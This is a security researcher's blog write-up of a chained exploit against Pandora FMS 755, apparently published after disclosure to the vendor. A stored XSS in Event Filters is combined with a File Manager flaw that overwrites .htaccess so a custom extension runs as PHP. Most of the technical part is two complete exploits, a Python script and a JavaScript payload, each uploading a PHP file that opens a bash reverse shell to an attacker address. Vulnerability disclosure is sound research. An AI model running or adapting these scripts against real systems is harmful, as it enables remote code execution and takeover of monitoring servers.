Home

PandoraFMS 755 - Chained XSS + .htaccess RCE

#pandorafms #hacking #chainedexploit #rce #cve #kpmghungary

Last Modified: 2021.11.03.

The story

I checked the fixes in Pandora FMS version 755. I came up with a new attack vector to bypass the File Manager restrictions.

This time I used a custom extension (".kpmghungary") and I overwrote the .htaccess file. The new ".htaccess" file contained a rule to execute my custom extension.

Additional Comments

It is always hard to close something, but sometimes we must do it. I think my Saga with Pandora FMS will end up with this exploit. Unfortunately, I had no chance to work on this project as a normal paid job, but I did what was possible in my free time. I hope my findings were useful for the Pandora FMS Team.

I really enjoyed working with the Pandora FMS Team and I wish them the best. I would like to thank Vanessa Gil for the quick answers, Sancho Lerena for the open-mindedness decisions, and for Rafael Ameijeiras for the open thinking.

Disclosure Timeline

Technical Details

The Environement

  1. Download the latest offline installer (Local on-premise installation - Community Edition) from the PandoraFMS homepage.
  2. Create a virtual machine.
  3. Install it with the default settings.
11

HTACCESS vulnerability

Note: The File Manager is an admin feature.

File Manager is a tool to upload files. It is allowed to upload PHP files, but the uploaded files are not executed. Normally it gave back the content of the File.

1

The file extensions are not restricted. The interesting File in this case the ".htaccess" configuration file. With the File Manager, the ".htaccess" files can be overwritten. This ability creates a lot of possibilities.

Note: there are different ways to exploit this vulnerability. I will show an example only.

With the ".htaccess" configuration file, the Rewrite Engine rules can be modified. With the proper rules, a new file type can be used as a normal PHP file type. I will use the ".kpmghungary" extension as an example.

2

Eariler I used a "Relative PATH Trick" to upload a file to a specific folder in Pandora FMS. More information can be found here: https://k4m1ll0.com/cve-pandorafms754-chained-xss-rce.html

This upload mechanism changed a little bit in Pandora FMS 755, but the trick with a litte modification still works.

Example attack

Step 1: Overwrite the ".htaccess" file of a good folder, which is accessible from outside. (E.g: /var/www/html/pandora_console/). The new ".htaccess" file must contain a rule to execute the new extension as a PHP file:

3

Step 2: Upload a File with a special extension to the selected folder:

4

Step 3: Send a request to execute the special file type:

5

Exploit

I made an exploit for demonstration. The target IP address was: 192.168.0.78. The attacker IP address was: 192.168.0.76 . The proxy IP address was: 192.168.0.14 (for debug only).


#!/usr/bin/python3

#########################################################################
## Author: k4m1ll0 (matek.kamillo@gmail.com), kpmghungary
## Date: 2021.07.09.
## Pandora FMS 755 - HTACCESS Exploit
#########################################################################
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Exploit(object):
    def __init__(self, url, username, password, payload, proxies):
        self.url = url
        self.username = username
        self.password = password
        self.payload = payload
        self.proxies = proxies
        self.s = requests.Session()

    def _login(self):
        login_url = self.url + "/pandora_console/index.php?login=1"
        data = { 'nick' : self.username, 'pass' : self.password, 'login_button' : 'login'}

        r = self.s.post(login_url, data = data, proxies = self.proxies, verify=False, allow_redirects=True)

    def _upload_special_php_file(self):
        _upload_url = self.url + "/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager"
        files = { 
                  'file' : ('k4m1ll0.kpmghungary', self.payload), 
                  'umask':(None,''), 
                  'decompress_sent' : (None, 1), 
                  'go' : (None,'Go'),
                  'real_directory' : (None,'/var/www/html/pandora_console/images/../'),             
                  'directory' : (None, './'),
                  'hash' : (None, ''),
                  'hash2' : (None, ''),
                  'upload_file_or_zip' : (None, 1)
                } 
        r = self.s.post(_upload_url, files=files, proxies = self.proxies, verify=False, allow_redirects=True)

    def _upload_htaccess(self):
        _upload_url = self.url + "/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager"
        files = { 
                  'file' : ('.htaccess', 'RewriteEngine On\n AddType application/x-httpd-php .kpmghungary\n'), 
                  'umask':(None,''), 
                  'decompress_sent' : (None, 1), 
                  'go' : (None,'Go'),
                  'real_directory' : (None,'/var/www/html/pandora_console/images/../'),             
                  'directory' : (None, './'),
                  'hash' : (None, ''),
                  'hash2' : (None, ''),
                  'upload_file_or_zip' : (None, 1)
                }
       
        r = self.s.post(_upload_url, files=files, proxies = self.proxies, verify=False, allow_redirects=True)
    
    def _execute_php_code(self):
        url = self.url + '/pandora_console/k4m1ll0.kpmghungary'
        r = self.s.get(url, proxies = self.proxies, verify=False, allow_redirects=True)

    def run(self):
        self._login()
        self._upload_htaccess()
        self._upload_special_php_file()
        self._execute_php_code()


if __name__ == "__main__":
    url = "https://192.168.0.77"
    username = "admin"
    password = "pandora"
    payload = "<?php system('bash -i >& /dev/tcp/192.168.0.76/2000 0>&1'); ?>"
    proxies = { 'https' : 'http://192.168.0.14:8080', 'http': 'http://192.168.0.14:8080' }

    e = Exploit(url, username, password, payload, proxies)
    e.run()
    
6

Stored XSS

I was looking for a stored XSS vulnerability that could be exploited by a lower-level user. I made a lower-level user and I found one at the Event Filters. These Event Filters can be used by an Admin user too.

I made a new Evenet filter:

7

When in the Events tab the newly created Event selected the JavaScript code will be executed.

9

Chained Exploit

The following picture contains an overview of the Attack:

10

The Final JavaScript Payload

The Pandora FMS IP address was 192.168.0.146.

I stored my payload on my home page (https://k4m1ll0.com/k44.js)

Important Note: The Pandora FMS instance uses https and I have a not self signed Certificate on my site.

My kali machine IP address was 192.168.0.147.


//////////////////////////////////////////////////////////////////
// Author: k4m1ll0 (matek.kamillo@gmail.com)
// Date: 2021.07.12.
// Pandora FMS 755 XSS + HTACCES UPLOAD + RCE CHAINED Exploit
////////////////////////////////////////////////////////////////

var base = "https://192.168.0.146";
var htaccess_payload = "RewriteEngine On\n AddType application/x-httpd-php .kpmghungary\n";

var php_payload = "<?php system('bash -i >& /dev/tcp/192.168.0.147/2000 0>&1'); ?>"

var payload_url = "/pandora_console/k4m1ll0.kpmghungary"

function open_filemanger(base){
	var xhr = new XMLHttpRequest();
	var url = base + "/pandora_console/index.php?sec=gextensions&sec2=godmode/setup/file_manager";
	xhr.open("GET",url,false);
	xhr.send();
}

function upload_file(base, filename, payload){
    var xhr = new XMLHttpRequest();
    var url = base + "/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager";
    var data = "";
    var boundary = "-----------------------------413448548441350781883843751691"
    
    data += '--' + boundary + "\r\n";
    data += 'Content-Disposition: form-data; name="file"; filename=' + '"' + filename +'"'+ '\n';
    data += 'Content-Type: text/php';data += '\r\n';
    data += '\r\n';
    data += payload;
    data += '\n';
    data += '\r\n';
    data += '--' + boundary + '\r\n';
    
    data += 'Content-Disposition: form-data; name="umask"' + '\n';
    data += '\r\n';
    data += '\r\n';
    data += '--' + boundary + '\r\n';
    
    data += 'Content-Disposition: form-data; name="decompress_sent"' + '\n';
    data += '\r\n';
    data += "1";
    data += '\r\n';
    data += '--' + boundary + '\r\n';
    
    data += 'Content-Disposition: form-data; name="go"' + '\n';
    data += '\r\n';
    data += "Go";
    data += '\r\n';
    data += '--' + boundary + '\r\n';
    
    data += 'Content-Disposition: form-data; name="real_directory"' + '\n';
    data += '\r\n';
    data += "/var/www/html/pandora_console/images/../";
    data += '\r\n';
    data += '--' + boundary + '\r\n';
    
    data += 'Content-Disposition: form-data; name="directory"' + '\n';
    data += '\r\n';
    data += "./";
    data += '\r\n';
    data += '--' + boundary + '\r\n';
    
    data += 'Content-Disposition: form-data; name="hash"' + '\n';
    data += '\r\n';
    data += "1";
    data += '\r\n';
    data += '--' + boundary + '\r\n';
    
    data += 'Content-Disposition: form-data; name="hash2"' + '\n';
    data += '\r\n';
    data += "1";
    data += '\r\n';
    data += '--' + boundary + '\r\n';
    
    data += 'Content-Disposition: form-data; name="upload_file_or_zip"' + '\n';
    data += '\r\n';
    data += "1";
    data += '\r\n';
    data += '--' + boundary + '--' + '\r\n';
    
    xhr.open("POST", url, false);
    xhr.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary );
    xhr.setRequestHeader("Referer", base + "/pandora_console/index.php?sec=gextensions&sec2=godmode/setup/file_manager");
    xhr.setRequestHeader("Upgrade-Insecure-Requests","1");
    xhr.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
    xhr.send(data);
}

function execute_php_code(base, payload_url){
    var xhr = new XMLHttpRequest();
    xhr.open("GET", base + payload_url );
    xhr.send();
}

open_filemanger(base);
upload_file(base, ".htaccess", htaccess_payload);
upload_file(base, "k4m1ll0.kpmghungary", php_payload);
execute_php_code(base, payload_url)

Video Content

I made a short demonstration video:

© 2019-2023 Kamilló Matek (k4m1ll0) All Rights Reserved